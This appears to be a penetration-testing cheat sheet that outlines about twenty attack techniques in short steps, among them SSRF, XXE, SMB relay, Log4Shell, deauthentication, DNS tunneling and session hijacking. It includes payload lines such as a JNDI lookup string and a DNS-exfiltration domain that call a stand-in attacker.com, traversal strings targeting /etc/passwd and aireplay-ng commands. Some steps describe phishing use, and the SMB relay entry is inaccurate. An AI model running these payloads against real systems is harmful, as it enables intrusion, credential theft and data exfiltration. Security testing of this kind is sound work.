Pentest Field Guide
Subdomain Takeover [+]
- Identify dangling DNS records (e.g., CNAME pointing to dead service).
- Register the expired external service (e.g., GitHub Pages/S3).
- Claim the subdomain through the service dashboard.
- Host malicious content to verify control.
SSRF (Server-Side Request Forgery) [+]
- Find features that fetch remote URLs (e.g., webhooks, thumbnailers).
- Attempt to request internal metadata services (e.g.,
169.254.169.254). - Bypass filters using IP encoding or DNS redirection.
- Exfiltrate internal cloud credentials.
XXE (XML External Entity) [+]
- Identify XML input parsing.
- Inject DOCTYPE and ENTITY tags.
- Point entity to local file (e.g.,
/etc/passwd). - Observe response for file content.
SMB Relay [+]
- Disable SMB signing on target network.
- Use
Responderto capture NTLM hashes. - Use
ntlmrelayxto relay credentials to another host. - Access the target host with hijacked session.
Directory Traversal [+]
- Find URL parameters loading files.
- Test with
../../../../etc/passwd. - Check for URL encoding bypasses (
%2e%2e%2f). - Access unauthorized system files.
Log4Shell (JNDI Injection) [+]
- Find application logging user input.
- Inject JNDI string:
${jndi:ldap://attacker.com/a}. - Observe callback on your LDAP server.
- Deliver malicious class file via RCE.
Password Spraying [+]
- Collect list of usernames.
- Choose one common password (e.g.,
Summer2026!). - Attempt login across all accounts.
- Avoid account lockouts by slowing the rate.
Wi-Fi Deauthentication [+]
- Put wireless card in monitor mode:
airmon-ng start wlan0. - Identify target BSSID.
- Send deauth packets:
aireplay-ng -0 10 -a [BSSID] wlan0mon. - Force client to disconnect/reconnect for handshake capture.
CSRF (Cross-Site Request Forgery) [+]
- Identify state-changing requests (e.g., change email, delete account).
- Check for missing CSRF tokens.
- Create HTML form triggering the request.
- Trick authenticated user into opening the link.
Race Condition [+]
- Find endpoints processing high-frequency requests.
- Use
Burp Turbo Intruderto send requests in parallel. - Look for inconsistencies (e.g., double withdrawal of funds).
- Confirm logic flaw.
Ransomware Simulation [+]
- Map internal file shares.
- Create scripts to simulate recursive encryption on test data.
- Check EDR/AV response time.
- Identify unbacked-up directories.
USB Rubber Ducky / HID [+]
- Program payload on HID device (DuckyScript).
- Insert into unlocked workstation.
- Observe command execution.
- Capture shell access.
Buffer Overflow [+]
- Identify C/C++ apps taking user input.
- Send long strings (fuzzing) to crash the process.
- Examine stack pointer via
GDB. - Inject shellcode into the return address.
Session Hijacking [+]
- Intercept victim traffic (MitM).
- Extract session cookies/tokens.
- Import token into your browser.
- Refresh to become the authenticated user.
DNS Tunneling [+]
- Setup authoritative name server.
- Encode data into DNS queries (
data.attacker.com). - Listen for queries on your server.
- Decapsulate data to retrieve exfiltrated info.
Open Redirect [+]
- Find URL param that redirects users (e.g.,
?next=/dashboard). - Inject external URL:
?next=https://malicious.com. - Verify if user is redirected after login.
- Use for phishing campaigns.
API Key Leakage [+]
- Scan public GitHub repositories for company name.
- Search for patterns (e.g.,
AIzaSy...,SK...). - Validate key against service API.
- Report or test impact.
Host Header Injection [+]
- Capture request in Burp Suite.
- Modify
Hostheader to point to attacker server. - Observe if password reset emails use this header.
- Redirect user traffic to malicious site.
Clickjacking [+]
- Create an invisible iframe over a legitimate button.
- Style the page to lure users to click.
- Force user to execute action (e.g., change password).
- Check for
X-Frame-Optionsheaders.
Default Credential Audit [+]
- Perform network discovery (Nmap/Masscan).
- Identify management ports (8080, 22, 3389).
- Use
nmap --script http-default-accounts. - Attempt login with vendor defaults.
